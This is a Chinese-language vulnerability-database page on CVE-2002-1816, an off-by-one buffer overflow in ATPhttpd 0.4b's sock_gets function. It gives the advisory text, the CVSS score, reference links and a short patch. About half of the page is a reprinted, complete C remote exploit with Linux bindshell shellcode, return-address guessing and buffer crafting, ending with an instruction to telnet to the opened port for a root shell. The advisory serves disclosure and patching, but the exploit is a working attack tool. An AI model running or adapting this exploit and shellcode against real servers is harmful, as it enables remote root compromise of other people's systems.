CVE-2002-1816
CVSS7.5
发布时间 :2002-12-31 00:00:00
修订时间 :2008-09-05 16:31:35
NMCOE    

[原文]Off-by-one buffer overflow in the sock_gets function in sockhelp.c for ATPhttpd 0.4b and earlier allows remote attackers to execute arbitrary code via a long HTTP GET request.


[CNNVD]ATP httpd远程单字节缓冲区溢出漏洞(CNNVD-200212-489)

        
        ATP httpd是一款轻量级的HTTP服务器程序。
        ATP httpd中sock_gets()函数对接收到的数据缺少正确的缓冲区边界检查,远程攻击者可以利用这个漏洞进行缓冲区溢出漏洞,以root用户的权限在系统上执行任意指令。
        缓冲区溢出发生在当sock_gets()函数接收到字符串时,函数会接收'count'大小个字符并在最后字符串中追加NULL字符,如果'count'变量值等于传递个这个函数第一参数的字符串大小,就会导致单字节溢出。
        下面是问题所在(在'total_count'和'count'之间对比没有预见NULL字符会追加到字符串中):
         sockhelp.c:311: if ( (total_count < count) && (last_read != 10) && (last_read !=13) )
         sockhelp.c:{
         sockhelp.c:312: current_position[0] = last_read;
         sockhelp.c:313: current_position++;
         sockhelp.c:314: total_count++;
         sockhelp.c:315: }
         sockhelp.c:316: }
         sockhelp.c:317: if (count > 0)
        由于不正确的对比,指向字符串的指针'str'会接收到'count'+1字节的数据导致缓冲区溢出:
         sockhelp.c:318: current_position[0] = 0;
         sockhelp.c:319: return total_count;
         sockhelp.c:320:}
        由于此HTTP服务程序是单线程结构,守护进程没有设计权限分离,因此需要以root用户权限监听TCP/80端口,任何缓冲区溢出可以导致以root用户权限在系统上执行任意指令。
        

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:yann_ramin:atphttpd:0.4b
cpe:/a:yann_ramin:atphttpd:0.4

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1816
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2002-1816
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200212-489
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/5956
(PATCH)  BID  5956
http://www.iss.net/security_center/static/10362.php
(UNKNOWN)  XF  atphttpd-sockgets-bo(10362)
http://secunia.com/advisories/7293
(VENDOR_ADVISORY)  SECUNIA  7293
http://archives.neohapsis.com/archives/bugtraq/2002-10/0187.html
(VENDOR_ADVISORY)  BUGTRAQ  20021012 Pyramid Research Project - atphttpd security advisorie

- 漏洞信息

ATP httpd远程单字节缓冲区溢出漏洞
高危 边界条件错误
2002-12-31 00:00:00 2005-10-20 00:00:00
远程  
        
        ATP httpd是一款轻量级的HTTP服务器程序。
        ATP httpd中sock_gets()函数对接收到的数据缺少正确的缓冲区边界检查,远程攻击者可以利用这个漏洞进行缓冲区溢出漏洞,以root用户的权限在系统上执行任意指令。
        缓冲区溢出发生在当sock_gets()函数接收到字符串时,函数会接收'count'大小个字符并在最后字符串中追加NULL字符,如果'count'变量值等于传递个这个函数第一参数的字符串大小,就会导致单字节溢出。
        下面是问题所在(在'total_count'和'count'之间对比没有预见NULL字符会追加到字符串中):
         sockhelp.c:311: if ( (total_count < count) && (last_read != 10) && (last_read !=13) )
         sockhelp.c:{
         sockhelp.c:312: current_position[0] = last_read;
         sockhelp.c:313: current_position++;
         sockhelp.c:314: total_count++;
         sockhelp.c:315: }
         sockhelp.c:316: }
         sockhelp.c:317: if (count > 0)
        由于不正确的对比,指向字符串的指针'str'会接收到'count'+1字节的数据导致缓冲区溢出:
         sockhelp.c:318: current_position[0] = 0;
         sockhelp.c:319: return total_count;
         sockhelp.c:320:}
        由于此HTTP服务程序是单线程结构,守护进程没有设计权限分离,因此需要以root用户权限监听TCP/80端口,任何缓冲区溢出可以导致以root用户权限在系统上执行任意指令。
        

- 公告与补丁

        临时解决方法:
        如果您不能立刻安装补丁或者升级,CNNVD建议您采取以下措施以降低威胁:
        * PYR/\MID Resarch Poject提供如下第三方补丁:
        - ------ cut here ------
        +++ sockhelp.c Sun Oct 6 02:37:05 2002
        @@ -301,6 +301,8 @@ size_t count;
         char *current_position;
         char last_read = 0;
        + count--;
        +
         current_position = str;
         while (last_read != 10) {
         bytes_read = read(sockfd, &last_read, 1);
        - ------ cut here ------
        厂商补丁:
        Yann Ramin
        ----------
        目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
        
        http://www.redshift.com/~yramin/atp/atphttpd/

- 漏洞信息 (21936)

ATP httpd 0.4 Single Byte Buffer Overflow Vulnerability (EDBID:21936)
linux remote
2002-10-05 Verified
0 thread
N/A [点击下载]
source: http://www.securityfocus.com/bid/5956/info

ATP httpd is a lightweight HTTP server. A vulnerability has been reported in ATP httpd that may result in compromise of root access to remote attackers. It is possible to overwrite the least significant byte of the saved base pointer with a NULL if a string of maximum length is transmitted to the server. This creates a potentially exploitable condition if the saved base pointer is corrupted such that it points to attacker-controlled memory. 

/* PRPatphttpd.c
 *
 *    This program is free software; you can redistribute it and/or modify
 *    it under the terms of the GNU General Public License as published by
 *    the Free Software Foundation; either version 2 of the License, or
 *    (at your option) any later version.
 *
 *    This program is distributed in the hope that it will be useful,
 *    but WITHOUT ANY WARRANTY; without even the implied warranty of
 *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *    GNU General Public License for more details.
 *
 *    You should have received a copy of the GNU General Public License
 *    along with this program; if not, write to the Free Software
 *    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
 *
 *    -
 *
 *    PYR/\MID, Research Project
 *    Author: thread
 *    Date: 05/10/02
 *    Members: Apm, flea, thread
 *
 *    Proof of Concept Remote Exploit for ATP HTTP Daemon v0.4b
 *
 *    Tested on:
 *    i386 Slackware 8.0
 *
 */

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <netdb.h>

#include <netinet/in.h>

#include <arpa/inet.h>

#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>


/* Constants */

#define BINDSHELL_PORT		36864
#define ARCHS			1


/* External variables */

extern int errno, h_errno; // Already declared in the headers


/* Here is a bindshell(code) */

char bindshell[] =
	"\xeb\x72\x5e\x29\xc0\x89\x46\x10\x40\x89\xc3\x89\x46\x0c"
	"\x40\x89\x46\x08\x8d\x4e\x08\xb0\x66\xcd\x80\x43\xc6\x46"
	"\x10\x10\x66\x89\x5e\x14\x88\x46\x08\x29\xc0\x89\xc2\x89"
	"\x46\x18\xb0\x90\x66\x89\x46\x16\x8d\x4e\x14\x89\x4e\x0c"
	"\x8d\x4e\x08\xb0\x66\xcd\x80\x89\x5e\x0c\x43\x43\xb0\x66"
	"\xcd\x80\x89\x56\x0c\x89\x56\x10\xb0\x66\x43\xcd\x80\x86"
	"\xc3\xb0\x3f\x29\xc9\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f"
	"\x41\xcd\x80\x88\x56\x07\x89\x76\x0c\x87\xf3\x8d\x4b\x0c"
	"\xb0\x0b\xcd\x80\xe8\x89\xff\xff\xff/bin/sh";


struct arch {
	int id;
	char *arch;
	long ret;
	int start_byte;
} arch[] = {
	{ 1, "ATP HTTP Daemon v0.4b/i386 Slackware 8.0", 0xbffff7ec, 600 }
};

	/* Note that this return address doesn't precisly point to the start
	 * of buffer's string (without any environment variables except '_')!
	 * It points to somewhere in the first 2/4 of buffer's memory,
	 * depending of the memory used by environment variables.
	 * This is useful to make some compatibility for systems with
	 * different environments.
	 */


/* Prototypes */

int gen_rand(int min, int max);
long get_ret(long base_ret, int bytes);

int main(int argc, char **argv) {
	int fd, i, arch_num, tmp;
	long ret;
	struct sockaddr_in host;
	struct hostent *he;
	char buffer[803];


	printf( "PYR/\\MID, Research Project 02\n"
		"ATP HTTP Daemon v0.4b Remote Exploit, by thread\n\n");


	/* Checking args */

	if (argc == 2 && !strcmp(argv[1], "-h")) {
		printf( "<arch>\n"
			"Valid architectures:\n");
		for (i = 0; i < ARCHS; i++) {
			printf("\t%d - %s - 0x%lx\n",
						arch[i].id,
						arch[i].arch,
						arch[i].ret);
		}
		printf( "\n"
			"<environment memory>\n"
			"If you have no idea about remote atphttpd environment "
			"you should use one of next\n"
		        "options for this argument:\n"
			"\n"
			"\t0  - Uses a default return address that works "
				"in the most 'default'\n"
			       	"\t     slackware envrionments (between 520 and"
				" 675 bytes of memory)\n"
			"\n"
			"\t-1 - Generates a random number that will point "
				"to a valid return address\n"
			       	"\t     that works in a specific range of "
		       		"memory used by the environment\n"
				"\t     (good luck ;)\n"
			"\n"
			"NOTE: A high return address value means less "
			"environment memory used\n\n");
		return -1;
	} else if (argc < 5) {
		printf( "Synopsis: %s [-h] <hostname> <port> <arch> "
			"<environment memory>\n"
			"\n"
			"-h\t\t\t- Use this flag as unique argument to "
			"display a detailed\n"
			"\t\t\t  help for <arch> and <environment memory> "
			"arguments\n"
			"\n"
			"<hostname>\t\t- Remote hostname or ip address\n"
			"<port>\t\t\t- Remote port\n"
			"<arch>\t\t\t- Architecture\n"
			"<environment memory>\t- It's the number of "
			"bytes that the environment (where\n"
			"\t\t\t  atphttpd runs) uses in memory.\n"
			"\n", argv[0]);
		return -1;
	}


	/* Calculating a new return address */

	printf("Calculating a new return address... ");
	fflush(stdout);

	arch_num = atoi(argv[3]) - 1;

	ret = get_ret(arch[arch_num].ret, atoi(argv[4]));

	printf("Done: 0x%lx\n", ret);


	/* Resolving hostname */

	printf("Resolving hostname (%s)... ", argv[1]);
	fflush(stdout);

	if (!(he = gethostbyname(argv[1]))) {
		fprintf(stderr, "Error: gethostbyname(): %s\n",
				hstrerror(h_errno));
		return -1;
	} else {
		char *r_ip = (char *) &host.sin_addr.s_addr;
		host.sin_addr.s_addr = *((unsigned long *) *he->h_addr_list);
		printf("Resolved to: %u.%u.%u.%u\n",
					(unsigned char) r_ip[0],
					(unsigned char) r_ip[1],
					(unsigned char) r_ip[2],
					(unsigned char) r_ip[3]);
	}


	/* Setting remote port and protocol family */

	host.sin_port = htons(atoi(argv[2]));
	host.sin_family = AF_INET;


	/* Creating an end-point for comunication */

	printf("Creating an end-point for comunication... ");
	fflush(stdout);

	if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
		fprintf(stderr, "Error: socket(): %s\n", strerror(errno));
		return -1;
	}

	printf("Done\n");


	/* Connecting to the remote host */

	printf("Connecting to the remote host... ");
	fflush(stdout);

	if (connect(fd, (struct sockaddr *) &host,
				sizeof(struct sockaddr)) < 0) {
		fprintf(stderr, "Error: connect(): %s\n", strerror(errno));
		return -1;
	}

	printf("Connected\n");


	/* Crafting the string */

	memset(buffer, '\x90', sizeof(buffer));	// Fill buffer with NOPs

	/* The return address is somewhere around here.
	 * It changes a lot of times because
	 * the environment changes the buffer's place,
	 * so lets fill the memory's field
	 * where the return address is used to be:
	 */

	for (tmp = sizeof(buffer) - sizeof(long) - 3,
			i = arch[arch_num].start_byte; i < tmp;
				i += sizeof(long))
		*(long *)&buffer[i] = ret;

	memcpy((buffer + sizeof(buffer) - 1) - 3 - strlen(bindshell)
		       	- ((sizeof(buffer) - arch[arch_num].start_byte) + 1),
			bindshell, strlen(bindshell));	/* put the code right
							 * before the ret addr
							 * and ignore the '\0'
							 * and LF/CR chars
							 */

	buffer[sizeof(buffer) - 3] = '\n';
	buffer[sizeof(buffer) - 2] = '\r';
	buffer[sizeof(buffer) - 1] = 0;


	/* Now sending the crafted string to the remote host */

	printf("Sending buffer to the remote host... ");
	fflush(stdout);

	if (write(fd, buffer, strlen(buffer)) < 0) {
		fprintf(stderr, "Error: write(): %s\n", strerror(errno));
		return -1;
	}

	printf("Sent\n");


	/* Close the file descriptor */

	printf("Closing the connection... ");
	fflush(stdout);

	if (close(fd) < 0) {
		fprintf(stderr, "Error: close(): %s\n", strerror(errno));
		return -1;
	}

	printf("Closed\n");

	printf("\nNow try: telnet %s %d\n", argv[1], BINDSHELL_PORT);

	return 0;
}

int gen_rand(int min, int max) {
	struct timeval tv;
	gettimeofday(&tv, NULL);
	srand(tv.tv_usec);
	return (min + (rand() % (max / 2)));
}

long get_ret(long base_ret, int bytes) {
	if (!bytes)
		return 0xbffff4ec;
	if (bytes < 0)
		return get_ret(base_ret, gen_rand(5, 1500));

	return ((base_ret - bytes) - ((bytes >> 8) << 3));
				/*   ^^^^^^^^^^^^^^^^^^^	*/
				/* This will try to reduce the	*/
				/* error tax of the result	*/

	/* Note that this isn't an exact calculation! This will return
	 * a value that should point to somewhere in the first 2/4 of
	 * buffer's memory. This should work for 90% of the cases.
	 */
}
		

- 漏洞信息

59790
ATPhttpd sockhelp.c sock_gets Function HTTP GET Request Remote Overflow
Remote / Network Access Input Manipulation
Loss of Integrity

- 漏洞描述

- 时间线

2002-10-12 Unknow
Unknow Unknow

- 解决方案

Products

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站